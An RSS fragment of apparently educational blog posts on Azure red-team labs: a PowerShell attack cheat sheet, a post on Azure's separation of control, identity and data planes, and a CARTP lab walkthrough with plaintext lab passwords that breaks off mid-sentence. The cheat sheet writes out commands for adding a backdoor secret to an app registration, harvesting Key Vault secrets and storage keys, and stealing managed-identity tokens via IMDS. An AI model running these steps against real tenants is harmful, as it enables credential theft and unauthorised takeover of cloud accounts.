            <content:encoded><![CDATA[<blockquote><em>Situational Awareness → Enumeration → Signal Following → Exploitation</em></blockquote><p>DRAFT: This is my first attempt to deduce how Azure attacks actually work based on Altered Security labs (my reading of Sherlock). This is intended for educational purposes.</p><h3>The Azure Attack Surface (Know the Planes)</h3><p>Before touching a single command, understand what you’re attacking:</p><p>PlaneWhat It ControlsPortalPowerShell Module<strong>Control Plane</strong>Azure resources (VMs, storage, networking)portal.azure.comAz (Connect-AzAccount)<strong>Identity Plane</strong>Users, groups, app registrations, rolesentra.microsoft.comMicrosoft.Graph (Connect-MgGraph)<strong>Data Plane</strong>Contents of resources (secrets, blobs, DB data)Per-resourcePer-resource (Az.KeyVault, etc.)</p><blockquote><strong><em>Key insight</em></strong><em>: A token for one plane does NOT automatically grant access to another. You often need to chain tokens across planes. WAM (Web Account Manager) on Windows brokers these silently when a portal session exists.</em></blockquote><h3>Phase 1: Situational Awareness (Who Am I?)</h3><p>The first thing you do with any credential is understand your position.</p><h3>Authenticate</h3><p>powershell</p><pre># Clear any stale sessions first<br>Clear-AzContext -Force<br>Disconnect-MgGraph</pre><pre># Login with compromised credentials<br>$pass = ConvertTo-SecureString &quot;&lt;PASSWORD&gt;&quot; -AsPlainText -Force<br>$cred = New-Object System.Management.Automation.PSCredential(&quot;&lt;UPN&gt;&quot;, $pass)<br>Connect-AzAccount -Credential $cred</pre><h3>Identify Yourself</h3><p>powershell</p><pre># Who am I in Azure AD?<br>Get-MgUser -UserId &quot;me&quot; | Select-Object DisplayName, Id, UserPrincipalName</pre><pre># What tenant am I in?<br>Get-MgOrganization | Select-Object DisplayName, Id</pre><pre># What subscriptions do I have access to?<br>Get-AzSubscription</pre><pre># What is my current context?<br>Get-AzContext</pre><h3>Get Graph Token (Identity Plane Access)</h3><p>powershell</p><pre>$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token<br>Connect-MgGraph -AccessToken $Token</pre><h3>Phase 2: Enumeration (What Do I Have Access To?)</h3><h3>My Roles &amp; Permissions</h3><p>powershell</p><pre># What Azure AD roles do I have?<br>Get-MgUserMemberOf -UserId &quot;me&quot; | Select-Object *</pre><pre># What Azure RBAC roles do I have on resources?<br>Get-AzRoleAssignment -SignInName &quot;&lt;UPN&gt;&quot;</pre><pre># What objects do I own in Azure AD?<br>Get-MgUserOwnedObject -UserId &quot;me&quot;</pre><pre># What objects was I created? (service principals, apps)<br>Get-MgUserCreatedObject -UserId &quot;me&quot;</pre><h3>Enumerate Users</h3><p>powershell</p><pre># List all users in the tenant<br>Get-MgUser -All | Select-Object DisplayName, UserPrincipalName, Id</pre><pre># Find specific user<br>Get-MgUser -UserId &quot;&lt;UPN or ObjectId&gt;&quot;</pre><pre># Find privileged users (admins)<br>Get-MgDirectoryRole | ForEach-Object {<br>    $role = $_<br>    Get-MgDirectoryRoleMember -DirectoryRoleId $role.Id |<br>    Select-Object @{N=&quot;Role&quot;;E={$role.DisplayName}}, Id<br>}</pre><h3>Enumerate Groups</h3><p>powershell</p><pre># List all groups<br>Get-MgGroup -All | Select-Object DisplayName, Id</pre><pre># Get members of a specific group<br>Get-MgGroupMember -GroupId &quot;&lt;GROUP_ID&gt;&quot;</pre><h3>Enumerate App Registrations (High Value)</h3><p>powershell</p><pre># List all app registrations<br>Get-MgApplication -All | Select-Object DisplayName, Id, AppId</pre><pre># Find specific app<br>Get-MgApplication -All | Where-Object {$_.DisplayName -eq &quot;&lt;APP_NAME&gt;&quot;}</pre><pre># Who owns an app?<br>Get-MgApplicationOwner -ApplicationId &quot;&lt;OBJECT_ID&gt;&quot;</pre><pre># List service principals<br>Get-MgServicePrincipal -All | Select-Object DisplayName, Id, AppId</pre><h3>Enumerate Azure Resources</h3><p>powershell</p><pre># All resources I can see<br>Get-AzResource</pre><pre># Resources by type<br>Get-AzResource | Group-Object ResourceType</pre><pre># Key Vaults specifically<br>Get-AzKeyVault</pre><pre># Storage accounts<br>Get-AzStorageAccount</pre><pre># Virtual Machines<br>Get-AzVM</pre><h3>Phase 3: Follow the Signals</h3><h3>Signal: You Own an App Registration</h3><p><strong>What it means</strong>: You can add credentials and authenticate as that app (service principal). Apps often have higher privileges than users.</p><p>powershell</p><pre># Check what you own<br>Get-MgUserOwnedObject -UserId &quot;me&quot;</pre><pre># Add a secret to the app<br>$params = @{ passwordCredential = @{ displayName = &quot;pwned&quot; } }<br>$secret = Add-MgApplicationPassword -ApplicationId &quot;&lt;OBJECT_ID&gt;&quot; -BodyParameter $params<br>$secret.SecretText  # Copy this - shown once only!</pre><pre># Create service principal if it doesn&#39;t exist<br>New-AzADServicePrincipal -ApplicationId &quot;&lt;CLIENT_ID&gt;&quot;</pre><pre># Login as the service principal<br>$passwd = ConvertTo-SecureString &quot;&lt;SECRET&gt;&quot; -AsPlainText -Force<br>$creds = New-Object System.Management.Automation.PSCredential(&quot;&lt;CLIENT_ID&gt;&quot;, $passwd)<br>Connect-AzAccount -ServicePrincipal -Tenant &quot;&lt;TENANT_ID&gt;&quot; -Credential $creds</pre><h3>Signal: You Have Key Vault Access</h3><p><strong>What it means</strong>: Secrets, certificates, and keys may be stored here — credentials, connection strings, API keys.</p><p>powershell</p><pre># List vaults<br>Get-AzKeyVault</pre><pre># List secrets in a vault<br>Get-AzKeyVaultSecret -VaultName &quot;&lt;VAULT_NAME&gt;&quot;</pre><pre># Read a secret value<br>Get-AzKeyVaultSecret -VaultName &quot;&lt;VAULT_NAME&gt;&quot; -Name &quot;&lt;SECRET_NAME&gt;&quot; -AsPlainText</pre><pre># Check all versions (old versions may have different/real values)<br>Get-AzKeyVaultSecret -VaultName &quot;&lt;VAULT_NAME&gt;&quot; -Name &quot;&lt;SECRET_NAME&gt;&quot; -IncludeVersions</pre><pre># Read a specific version<br>Get-AzKeyVaultSecret -VaultName &quot;&lt;VAULT_NAME&gt;&quot; -Name &quot;&lt;SECRET_NAME&gt;&quot; -Version &quot;&lt;VERSION_ID&gt;&quot; -AsPlainText</pre><h3>Signal: You Have Storage Account Access</h3><p><strong>What it means</strong>: Blob storage may contain sensitive files, backups, config files, or credentials.</p><p>powershell</p><pre># List storage accounts<br>Get-AzStorageAccount</pre><pre># Get storage account key<br>Get-AzStorageAccountKey -ResourceGroupName &quot;&lt;RG&gt;&quot; -Name &quot;&lt;STORAGE_ACCOUNT&gt;&quot;</pre><pre># Create context and list containers<br>$ctx = (Get-AzStorageAccount -ResourceGroupName &quot;&lt;RG&gt;&quot; -Name &quot;&lt;STORAGE_ACCOUNT&gt;&quot;).Context<br>Get-AzStorageContainer -Context $ctx</pre><pre># List blobs in container<br>Get-AzStorageBlob -Container &quot;&lt;CONTAINER&gt;&quot; -Context $ctx</pre><h3>Signal: You Have VM Access</h3><p><strong>What it means</strong>: You may be able to run commands on VMs, access instance metadata, or find credentials in VM extensions.</p><p>powershell</p><pre># List VMs<br>Get-AzVM</pre><pre># Run command on VM<br>Invoke-AzVMRunCommand -ResourceGroupName &quot;&lt;RG&gt;&quot; -VMName &quot;&lt;VM&gt;&quot; -CommandId RunPowerShellScript -ScriptString &quot;whoami&quot;</pre><pre># Get VM managed identity<br>Get-AzVM -ResourceGroupName &quot;&lt;RG&gt;&quot; -Name &quot;&lt;VM&gt;&quot; | Select-Object -ExpandProperty Identity</pre><h3>Signal: You Have a Managed Identity</h3><p><strong>What it means</strong>: If you’re running on an Azure resource with a managed identity, you can get tokens without credentials via the instance metadata service.</p><p>powershell</p><pre># From inside an Azure VM - get token via IMDS<br>$response = Invoke-WebRequest -Uri &#39;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://management.azure.com/&#39; -Headers @{Metadata=&quot;true&quot;}<br>$token = ($response.Content | ConvertFrom-Json).access_token</pre><pre># Connect with that token<br>Connect-AzAccount -AccessToken $token -AccountId &quot;&lt;CLIENT_ID_OF_IDENTITY&gt;&quot;</pre><h3>Phase 4: Privilege Escalation Paths</h3><h3>User → App Owner → Service Principal</h3><ol><li>Find apps you own via Get-MgUserOwnedObject</li><li>Add secret to app</li><li>Login as service principal</li><li>Enumerate what the SP has access to</li></ol><h3>User → Group Member → Inherited Permissions</h3><ol><li>Check group memberships via Get-MgUserMemberOf</li><li>Find groups with Azure RBAC roles via Get-AzRoleAssignment</li><li>Abuse inherited permissions</li></ol><h3>User → Key Vault Reader → Credential Harvest</h3><ol><li>Find Key Vaults via Get-AzKeyVault</li><li>List and read secrets</li><li>Use harvested credentials to authenticate as other identities</li></ol><h3>Contributor/Owner Role → Everything</h3><p>powershell</p><pre># If you have Contributor or Owner on a subscription<br>Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -in &quot;Owner&quot;,&quot;Contributor&quot;}</pre><h3>Phase 5: Lateral Movement</h3><h3>Re-authenticate as New Identity</h3><p>powershell</p><pre># After obtaining new credentials from Key Vault or app secret<br>Clear-AzContext -Force<br># Re-run authentication with new creds<br># Re-enumerate from new context</pre><h3>Token Reuse</h3><p>powershell</p><pre># Get ARM token for use elsewhere<br>(Get-AzAccessToken).Token</pre><pre># Get Graph token<br>(Get-AzAccessToken -ResourceTypeName MSGraph).Token</pre><pre># Get token for specific resource<br>(Get-AzAccessToken -Resource &quot;https://vault.azure.net&quot;).Token</pre><h3>Quick Reference: Attack Chain Templates</h3><h3>Template 1: Compromised User → Key Vault Loot</h3><pre>Connect-AzAccount → Get-AzResource → Get-AzKeyVault → <br>Get-AzKeyVaultSecret → read secret values → use credentials</pre><h3>Template 2: Compromised User → App Owner → Service Principal</h3><pre>Connect-AzAccount → Connect-MgGraph → Get-MgUserOwnedObject → <br>Add-MgApplicationPassword → New-AzADServicePrincipal → <br>Connect-AzAccount -ServicePrincipal → re-enumerate</pre><h3>Template 3: Service Principal → Resource Access</h3><pre>Connect-AzAccount -ServicePrincipal → Get-AzRoleAssignment → <br>enumerate accessible resources → follow signals</pre><h3>Common Gotchas</h3><p>ProblemCauseFix403 Forbidden on Graph callsStale token from previous sessionClear-AzContext -Force then re-authConnect-AzAccount MFA errorConditional access policyLog into portal first to satisfy MFA via WAMToken works but wrong userCached context bleeding throughAlways Clear-AzContext -Force between labs/engagementsCan list secrets but can&#39;t read valuesList vs Get are separate permissionsCheck if you have Key Vault Secrets User roleAdd-MgApplicationPassword 403Not the owner of the appGet-MgApplicationOwner to confirm ownership first</p><h3>Key IDs to Always Note Down</h3><p>When you enumerate, always record:</p><ul><li><strong>Object ID</strong> — used in Graph API calls (managing the identity)</li><li><strong>App ID / Client ID</strong> — used for authentication (logging in as the app)</li><li><strong>Tenant ID</strong> — required for service principal login</li><li><strong>Subscription ID</strong> — scope for RBAC and resource access</li><li><strong>Secret Text</strong> — shown ONCE when created, copy immediately</li></ul><p><em>Built from real lab experience on Altered Security Red Team Labs</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d710f7f4541" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Azure: Three Passwords to Do One Thing?]]></title>
            <link>https://medium.com/@joshuagoossen/copy-4197c59ae817?source=rss-babe3e688cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/4197c59ae817</guid>
            <dc:creator><![CDATA[Joshua Goossen]]></dc:creator>
            <pubDate>Tue, 28 Apr 2026 18:07:03 GMT</pubDate>
            <atom:updated>2026-04-28T18:13:03.069Z</atom:updated>
            <content:encoded><![CDATA[<p>“It’s for security.”</p><p>People learning Azure hit this wall early. It’s a little overwhelming to get an ARM token, a Graph token, and a Key Vault token — three separate authentication events, three separate scopes, three separate planes. And if you use the wrong token on the wrong plane, access denied.</p><h3>The design is intentional</h3><p>Azure separates its attack surface into planes deliberately:</p><p><strong>The control plane</strong> (management.azure.com) answers one question: what resources exist and how are they configured? It can tell you a Key Vault exists. It cannot tell you what’s inside it.</p><p><strong>The data plane</strong> (vault.azure.net) answers a different question: what’s inside this specific vault? It can read your secrets. It cannot see the rest of your subscription.</p><p><strong>The identity plane</strong> (graph.microsoft.com) answers a third question: who exists in this tenant? Users, groups, service principals, app registrations — the entire identity layer. It cannot touch infrastructure or secrets.</p><p>One credential. Three tokens. Three completely separate planes. A compromised token on any one plane cannot cross to the others.</p><h3>The security gain</h3><p>If an attacker steals your ARM token they can enumerate your infrastructure. They cannot read your Key Vault secrets. If they steal your KV token they can read secrets — but only if they already know the vault URI, which they’d need the ARM token to find. If they steal your Graph token they can map your identity layer but cannot touch a single resource.</p><p>Blast radius is contained. A single token compromise is painful. It is not catastrophic.</p><p>Compare this to a traditional on-premises environment where a single set of AD credentials often unlocks everything — file shares, databases, email, admin tools. One credential. No planes. No separation. Kerberoasting one service account and you’re lateral moving across the entire domain.</p><p>The plane separation is the architectural answer to that problem.</p><h3>The utility cost</h3><p>The cost is real. Every pipeline needs to manage multiple tokens with different expiries. Every automation needs to know which plane it’s targeting before it authenticates. Every developer who just wants to read a secret has to understand why their ARM token won’t open the vault.</p><p>Microsoft’s answer is Managed Identities — workloads hosted in Azure can request tokens automatically without storing credentials anywhere. The plane complexity becomes invisible to the application. But for anyone not running inside Azure — a developer on a laptop, a red team on a VM, a pipeline running on-premises — the token management is explicit and manual.</p><h3>What this looks like in practice</h3><p>In the CARTP free labs (redlabs.enterprisesecurity.io), this plays out concretely:</p><p>To read a Key Vault secret from a set of compromised credentials you need to:</p><ol><li>Authenticate via ROPC or Device Code Flow to get a refresh token</li><li>Swap scope to management.azure.com to get the ARM token</li><li>Use the ARM token to enumerate subscriptions and find the vault URI</li><li>Swap scope to vault.azure.net to get the KV token</li><li>Use the KV token to list secrets and read values</li></ol><p>Five steps. Two tokens. Two planes crossed in sequence. The ARM token finds the door. The KV token opens it.</p><p>If you only had one credential that opened everything, step 3 wouldn’t exist — you’d go straight to the secret. That’s the utility cost of plane separation. It’s also the security gain.</p><h3>The irony the attacker sees</h3><p>For a hacker, the improved security is their attack lever.</p><p>Three tokens means three different permission models to probe. Three different sets of roles that might be misconfigured. Three different expiry windows where one token might still be valid after another has rotated.</p><p>The Datadog Key Vault finding in December 2024 exploited exactly this — a Contributor role on the control plane could modify Key Vault access policies, granting itself data plane access that the role documentation explicitly said it didn’t have. Microsoft reviewed it and called it by design. The plane separation held architecturally. The role boundary between them didn’t.</p><p>Understanding the planes isn’t just defensive knowledge. It’s the map of the attack surface.</p><p>Every week I replicate real Azure attack chains in live lab environments — hands on, documented, with the defensive context that explains why each technique works. If that’s useful to you, follow me here and on Medium.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4197c59ae817" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CARTP Attack Labs — Part 2]]></title>
            <link>https://medium.com/@joshuagoossen/cartp-attack-labs-part-2-1ce616914fb9?source=rss-babe3e688cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ce616914fb9</guid>
            <dc:creator><![CDATA[Joshua Goossen]]></dc:creator>
            <pubDate>Sun, 26 Apr 2026 02:09:29 GMT</pubDate>
            <atom:updated>2026-04-26T02:09:29.526Z</atom:updated>
            <content:encoded><![CDATA[<h3>Recon &amp; Initial Access — Medium and Hard Labs from Altered Security</h3><p><em>Voices appear selectively. Each one is somewhere on a ladder. Not all of them know it.</em></p><h3>About These Materials</h3><p>This is Part 2 of supplemental materials for the free CARTP labs at <a href="https://redlabs.enterprisesecurity.io/">redlabs.enterprisesecurity.io</a>. Part 1 covered the Easy labs. This covers the Medium and Hard labs — Key Vaults, Logic App triggers, SAS generation, storage container manipulation, soft-delete recovery, and multi-hop credential chains.</p><p>The format is the same. Retailcorp has been breached. The Adversarial Architect assembled the team. They are still in the room. The Director is still trying to get everyone to produce a deliverable. The Junior Architect has not yet stopped saying uhhh.</p><p>If you haven’t read Part 1, the cast and framework are there. The Science Fundamentals are referenced throughout — Law 1 (Complexity Grows), Law 2 (Useful = Exploitable), Law 3 (History Is the Attack Surface), Shadow Architecture.</p><p>Do the labs first. These materials add the Why.</p><h3>Security Fundamental — Law 2: Useful = Exploitable (continued)</h3><blockquote><strong><em>Adversarial Architect:</em></strong><em> The Medium labs are Law 2 expressed more elaborately. In the Easy labs, the system responded to a query and returned data. In the Medium labs, the system responds to a query and </em>does something<em> — writes a message to a queue, creates a file in a share, adds a row to a table, triggers an automation. The output lands somewhere accessible. Shannon — a useful channel exports state. The more useful the workflow, the more state it exports. We are about to enumerate every surface those workflows write to.</em></blockquote><h3>Key Vault 04 — Subdomain Enumeration of Key Vault</h3><p><em>Sidebar: Key Vault 04 | Subdomain enum finds the vault — credentials access the secret</em></p><p>A Key Vault name is given. The vault is a globally unique subdomain on vault.azure.net. MicroBurst enumerates it. The user has permission to read secrets. One command returns the flag in plaintext.</p><p><strong>Lab Inputs</strong></p><pre>User Principal: ASyibuhf688@redteamlabsus.onmicrosoft.com<br>Password:       0fhTA51SHlIQYFyA1!<br>KeyVaultName:   ashprsik688</pre><p><strong>Key Output</strong></p><pre>Invoke-EnumerateAzureSubDomains -Base &quot;ashprsik688&quot;<br>→ ashprsik688.vault.azure.net   Key Vaults</pre><pre>Get-AzKeyVaultSecret -VaultName &quot;ashprsik688&quot; -Name &quot;asblfsiv688&quot; -AsPlainText<br>→ asvkdnrf688asphzvkw688</pre><p><strong>Signals</strong></p><ul><li>A Key Vault name or partial name is given as input</li><li>User has Contributor or Key Vault Secrets User role on the subscription</li></ul><p><strong>Action Steps</strong></p><ul><li>Invoke-EnumerateAzureSubDomains -Base &quot;&lt;keyvaultname&gt;&quot; — confirms vault exists</li><li>Connect-AzAccount -Credential $cred then Get-AzResource — enumerate what&#39;s accessible</li><li>Get-AzKeyVaultSecret -VaultName &quot;&lt;vault&gt;&quot; — list secrets</li><li>Get-AzKeyVaultSecret -VaultName &quot;&lt;vault&gt;&quot; -Name &quot;&lt;secret&gt;&quot; -AsPlainText — read value</li></ul><p><em>Law 2: the vault responds to authenticated queries by returning secrets. That is what it is for. The attack is having the credentials. Everything after that is the API working as designed.</em></p><p><strong>DevOps Engineer:</strong> The user needed access to the Key Vault to run the pipeline. I gave them Contributor. The pipeline runs. Nobody has complained. Contributor can’t read secrets — that’s documented.</p><p><strong>Adversarial Architect:</strong> Contributor can’t <em>directly</em> read secrets. Contributor <em>can</em> modify access policies. Modifying the access policy grants themselves data access. Datadog Security Labs confirmed this in December 2024 — a Key Vault Contributor can add themselves to the access policy and read every secret in the vault despite the role documentation saying otherwise. Microsoft classified it as “by design” and updated the documentation. The fintech company whose breach Microsoft documented on the Defender for Cloud blog in April 2025 learned this the same way — attackers with Contributor access walked into their Key Vault, extracted credentials, accessed Azure SQL, and moved laterally across the subscription. The pipeline runs. Nobody complained. Until the SQL database was exfiltrated. [Datadog Security Labs, December 2024: <a href="https://securitylabs.datadoghq.com/articles/escalating-privileges-to-read-secrets-with-azure-key-vault-access-policies/]">https://securitylabs.datadoghq.com/articles/escalating-privileges-to-read-secrets-with-azure-key-vault-access-policies/]</a> [Microsoft Defender for Cloud blog, April 2025: <a href="https://techcommunity.microsoft.com/blog/microsoftdefendercloudblog/protecting-your-azure-key-vault-why-azure-rbac-is-critical-for-security/4407848]">https://techcommunity.microsoft.com/blog/microsoftdefendercloudblog/protecting-your-azure-key-vault-why-azure-rbac-is-critical-for-security/4407848]</a></p><p><strong>Security Architect:</strong> Contributor on a subscription grants the ability to modify Key Vault access policies under the legacy access model. With the newer Azure RBAC model, Contributor cannot touch the data plane. Most tenants still use the legacy model. MicroBurst’s Get-AzPasswords automates this across every vault in a subscription simultaneously.</p><p><strong>Adversarial Architect:</strong> One compromised account with Contributor rights. MicroBurst. Every secret in every vault in the subscription. Passwords, API keys, certificates, connection strings. All of it. One command. The vault is doing exactly what it was designed to do — return secrets to authorized callers. The authorization model is the problem. The vault is blameless. Law 2.</p><p><strong>Director:</strong> Who owns the Key Vault permission model and when were these access policies last reviewed.</p><h3>Security Fundamental — Law 2 + Shadow Architecture: Workflows Export State</h3><blockquote><strong><em>Adversarial Architect:</em></strong><em> Logic Apps are automation. They receive a trigger — an HTTP request, a blob upload, a queue message — and they do something in response. The thing they do produces output. The output lands somewhere. In a well-designed system, that somewhere is protected. In the systems we are about to walk through, that somewhere is a queue, a table, a file share, or a blob container — accessible to anyone who knows the SAS URL, which is in the trigger response, which is in the URL we were just handed. The automation is working exactly as designed. Law 2. Every useful workflow exports state. We are about to read all of it.</em></blockquote><h3>Logic App 04 — Tamper Trigger Parameter + Queue Abuse</h3><p><em>Sidebar: Logic App 04 | IDOR via {name} parameter — flag appears in queue when param = admin</em></p><p>A Logic App trigger URL contains {name}. A Queue SAS URL is also given. Changing the parameter value writes a message to the queue. Changing it to admin writes the flag.</p><p><strong>Lab Inputs</strong></p><pre>TriggerURL:<br>https://prod-57.eastus2.logic.azure.com:443/workflows/.../triggers/manual/paths/invoke/{name}<br>?api-version=2018-07-01-preview&amp;sp=...&amp;sv=1.0&amp;sig=...</pre><pre>QueueSASURL:<br>https://aswtqbao554.queue.core.windows.net/asdwaznl554<br>?sv=2019-07-07&amp;sig=...&amp;se=2026-10-04T...&amp;sp=r</pre><p><strong>Key Output</strong></p><pre>GET .../invoke/admin?...  → no browser output<br>Queue refresh → new message containing flag</pre><p><strong>Signals</strong></p><ul><li>Trigger URL contains a path parameter in curly braces: /invoke/{name}</li><li>A Queue SAS URL is provided alongside the trigger URL</li><li>GET requests return no visible output — output is being written elsewhere</li></ul><p><strong>Action Steps</strong></p><ul><li>Paste the trigger URL in browser as-is — note the {name} parameter</li><li>Connect to the queue: Storage Explorer → Queue → Shared access signature URL → paste Queue SAS URL</li><li>Change {name} to test in the trigger URL — refresh the queue — a new message appears</li><li>Change {name} to admin — refresh the queue — flag appears in the message</li></ul><p><em>Law 2: the queue is a useful channel that exports state. The trigger writes to it. We read from it. Shadow Architecture: the queue was wired to the trigger during development and the SAS URL was distributed without audit.</em></p><p><strong>Pen Tester:</strong> The flag is not in the HTTP response. It’s in the queue. Enumerate every surface the trigger writes to before concluding there’s no output. Queue, table, blob, file share — try them all. The output is always somewhere. NetSPI documented this exact pattern — Logic App run history exposes every input and output of every previous execution by default, including Key Vault secrets retrieved during the workflow. A reader-level user can see all of it. [NetSPI: Illogical Apps, netspi.com/blog/technical-blog/cloud-pentesting/illogical-apps-exploring-exploiting-azure-logic-apps/]</p><p><strong>Junior Architect:</strong> Uhhh. So changing a URL parameter triggers the app and the output goes to the queue? And we have the queue SAS URL?</p><p><strong>Adversarial Architect:</strong> Yes. The trigger URL was handed to us. The queue SAS URL was handed to us. The parameter is in curly braces which is the HTTP equivalent of a blinking arrow. The flag is in the queue because someone wired the Logic App to write its output there and then shared both URLs in the same lab description. This is not a sophisticated attack chain. It is reading comprehension combined with the knowledge that applications write output somewhere. In February 2026 a security assessment flagged several Logic Apps with unrestricted HTTP triggers as High Impact — anyone who discovered the trigger URL could invoke the workflow. The assessors noted that the trigger URLs had been distributed in internal documentation that was accessible to far more people than intended. Law 2 — the workflow exports state. We are the state readers. [ITAdmin365, February 2026: <a href="https://itadmin365.wordpress.com/2026/02/18/securing-azure-logic-app-http-triggers-with-ip-restrictions/]">https://itadmin365.wordpress.com/2026/02/18/securing-azure-logic-app-http-triggers-with-ip-restrictions/]</a></p><h3>Logic App 05 — Tamper Trigger Parameter + Table Abuse</h3><p><em>Sidebar: Logic App 05 | Same IDOR pattern — output goes to Azure Table Storage instead of queue</em></p><p>Identical structure to Logic App 04. {name} parameter. Changing to admin writes the flag. Output lands in a Table, not a queue.</p><p><strong>Lab Inputs</strong></p><pre>TriggerURL:<br>https://prod-02.eastus2.logic.azure.com:443/workflows/.../triggers/manual/paths/invoke/{name}<br>?api-version=2018-07-01-preview&amp;sp=...&amp;sv=1.0&amp;sig=...</pre><pre>TableSASURL:<br>https://aspdletn554.table.core.windows.net/askfozjl554<br>?sv=2017-07-29&amp;tn=askfozjl554&amp;sig=...&amp;se=2026-10-04T...&amp;sp=r</pre><p><strong>Key Output</strong></p><pre>GET .../invoke/admin?...  → no browser output<br>Table refresh → new row containing flag: asobvaws554assdhlbq554</pre><p><strong>Signals</strong></p><ul><li>Table SAS URL domain is table.core.windows.net</li><li>URL contains tn= (table name) parameter</li><li>OData XML response with PartitionKey and RowKey fields</li></ul><p><strong>Action Steps</strong></p><ul><li>Storage Explorer → Table → Shared access signature URL → paste Table SAS URL</li><li>Note the existing table entry — no flag yet</li><li>Change {name} to test in trigger URL — refresh table — new row appears</li><li>Change {name} to admin — refresh table — flag row appears</li></ul><p><em>Law 2: same attack, different output surface. The table responds to queries by returning rows. The trigger writes rows. We read rows. The surface changed. The principle didn’t.</em></p><p><strong>Security Architect:</strong> Queue, table, blob, file share — four output surfaces in the same storage account, all accessible with the right SAS token. The attack pattern is identical across all of them. Only the Storage Explorer connection type changes.</p><p><strong>Adversarial Architect:</strong> Logic App 04 was a queue. Logic App 05 is a table. Logic App 06 will be a file share. The attackers figured this out. The defenders did not enumerate output surfaces when deploying the automation. Law 1 — the system grew to include four storage services and four corresponding output surfaces. Prigogine. You cannot stop the growth. You can audit where the outputs land.</p><h3>Logic App 06 — Tamper Trigger Parameter + File Share Abuse</h3><p><em>Sidebar: Logic App 06 | Same IDOR pattern — output goes to Azure File Storage</em></p><p>Same {name} IDOR. Output lands in an Azure File Share. The SAS URL this time targets the file service endpoint.</p><p><strong>Lab Inputs</strong></p><pre>FileSASURL:<br>https://asfevgsz696.file.core.windows.net/<br>?sv=2021-06-08&amp;ss=f&amp;srt=sco&amp;se=2026-10-20T...&amp;sp=rl&amp;sig=...</pre><pre>TriggerURL:<br>https://prod-55.eastus2.logic.azure.com:443/workflows/.../triggers/manual/paths/invoke/{name}<br>?api-version=2018-07-01-preview&amp;sp=...&amp;sv=1.0&amp;sig=...</pre><p><strong>Key Output</strong></p><pre>GET .../invoke/admin?...  → no browser output<br>File share refresh → new file named &quot;admin&quot; containing flag</pre><p><strong>Signals</strong></p><ul><li>File SAS URL domain is file.core.windows.net</li><li>ss=f in the SAS parameters indicates file service scope</li></ul><p><strong>Action Steps</strong></p><ul><li>Storage Explorer → Connect → <strong>Storage account or service</strong> (not blob container) → Shared access signature URL → paste File SAS URL</li><li>Browse the file share tree — drill down to find the file</li><li>Change {name} to admin in trigger URL — refresh — new file appears → download → flag inside</li></ul><p><em>Note: connect via Storage account or service, not Blob container — the SAS targets the file service endpoint.</em></p><p><em>Shadow Architecture: queue, table, blob, and file are four services sharing one credential model. The automation writes to whichever surface the developer wired it to. Nobody audited which surface was accessible.</em></p><p><strong>DevOps Engineer:</strong> I connected the Logic App to a file share because the team was already using file shares for deployment artifacts. It made sense at the time. The SAS URL was generated for the team to access deployment files. I didn’t think about it being included in the trigger documentation.</p><p><strong>Adversarial Architect:</strong> The SAS URL for the file share was in the lab description alongside the trigger URL. In a real engagement it would be in Confluence, a Slack channel, a deployment script, or a ticket. The developer needed it somewhere accessible to the team. The team is not a precisely defined security boundary. Neither is Confluence. Law 3 — the reference persists after the context that justified it is gone.</p><h3>Logic App 07 — Queue Message Count Trigger</h3><p><em>Sidebar: Logic App 07 | Queue message count triggers the Logic App — add two messages, flag appears</em></p><p>No trigger URL. No SAS URL. Just credentials and a queue. The Logic App is triggered automatically when the queue contains a certain number of messages. Add two messages — the app triggers — a third message containing the flag appears.</p><p><strong>Lab Inputs</strong></p><pre>User Principal: ASnbxurm554@redteamlabsus.onmicrosoft.com<br>Password:       @EYsarR3CO9xk%jA1!</pre><p><strong>Key Output</strong></p><pre>After adding 2 messages to the queue → wait 2-3 minutes<br>→ Third message appears containing flag</pre><p><strong>Signals</strong></p><ul><li>User has read and write permissions on a storage queue</li><li>No trigger URL provided — the trigger is queue-depth based</li><li>Hint: “Number of messages in the queue”</li></ul><p><strong>Action Steps</strong></p><ul><li>Login to Azure portal with provided credentials</li><li>Navigate to the storage account → Queues → select the queue</li><li>Add message → enter any text → OK</li><li>Add a second message → enter any text → OK</li><li>Wait 2–3 minutes for the Logic App to trigger</li><li>Refresh the queue — a new message appears containing the flag</li></ul><p><em>Law 2: the queue is a useful channel. Writing to it triggers automation. The automation writes back. We are both the input and the reader of the output. The attack surface is write access to the queue.</em></p><p><strong>GRC Analyst:</strong> Storage Queue write access. Documented control requirement: principle of least privilege on storage resources. Current status: user has write access to queue. This is a finding. Section 4.2.</p><p><strong>Junior Architect:</strong> Uhhh. So writing to the queue triggers the app, and the app writes the flag back to the same queue we can read?</p><p><strong>Adversarial Architect:</strong> Correct. We have write access. We write. The app triggers. The app writes the flag. We read. The entire attack is having queue write access and knowing how to count to two. The GRC Analyst will document this. The finding will be accurate. The remediation — remove queue write access from this user — will go on the backlog because the user probably needs that queue access for something else that nobody documented. Anderson and Moore. 2006. The person making the security decision is not the person paying for the breach.</p><p><strong>Director:</strong> Who gave this user queue write access and what did they need it for. I want that answered before the next sprint.</p><h3>Logic App 10 — Blob Upload Trigger</h3><p><em>Sidebar: Logic App 10 | Uploading a file to the container triggers the Logic App — flag appears in queue</em></p><p>User has upload permissions on a blob container. Uploading any file triggers the Logic App. The flag appears in a storage queue.</p><p><strong>Lab Inputs</strong></p><pre>User Principal: ASctvqwb554@redteamlabsus.onmicrosoft.com<br>Password:       tkcCnA48OMj9hK2A1!</pre><p><strong>Key Output</strong></p><pre>Upload any file to the container → wait 2-3 minutes<br>→ Queue message appears containing flag</pre><p><strong>Signals</strong></p><ul><li>User has read, write, and upload permissions on a blob container</li><li>User has read permissions on a storage queue</li><li>Hint: “Add something to me and I will add something”</li></ul><p><strong>Action Steps</strong></p><ul><li>Portal → storage account → Containers → select the container → Upload → upload any file</li><li>Wait 2–3 minutes</li><li>Portal → Queues → select the queue → new message contains the flag</li></ul><p><em>Shadow Architecture: the blob trigger was wired to the queue during development. Both 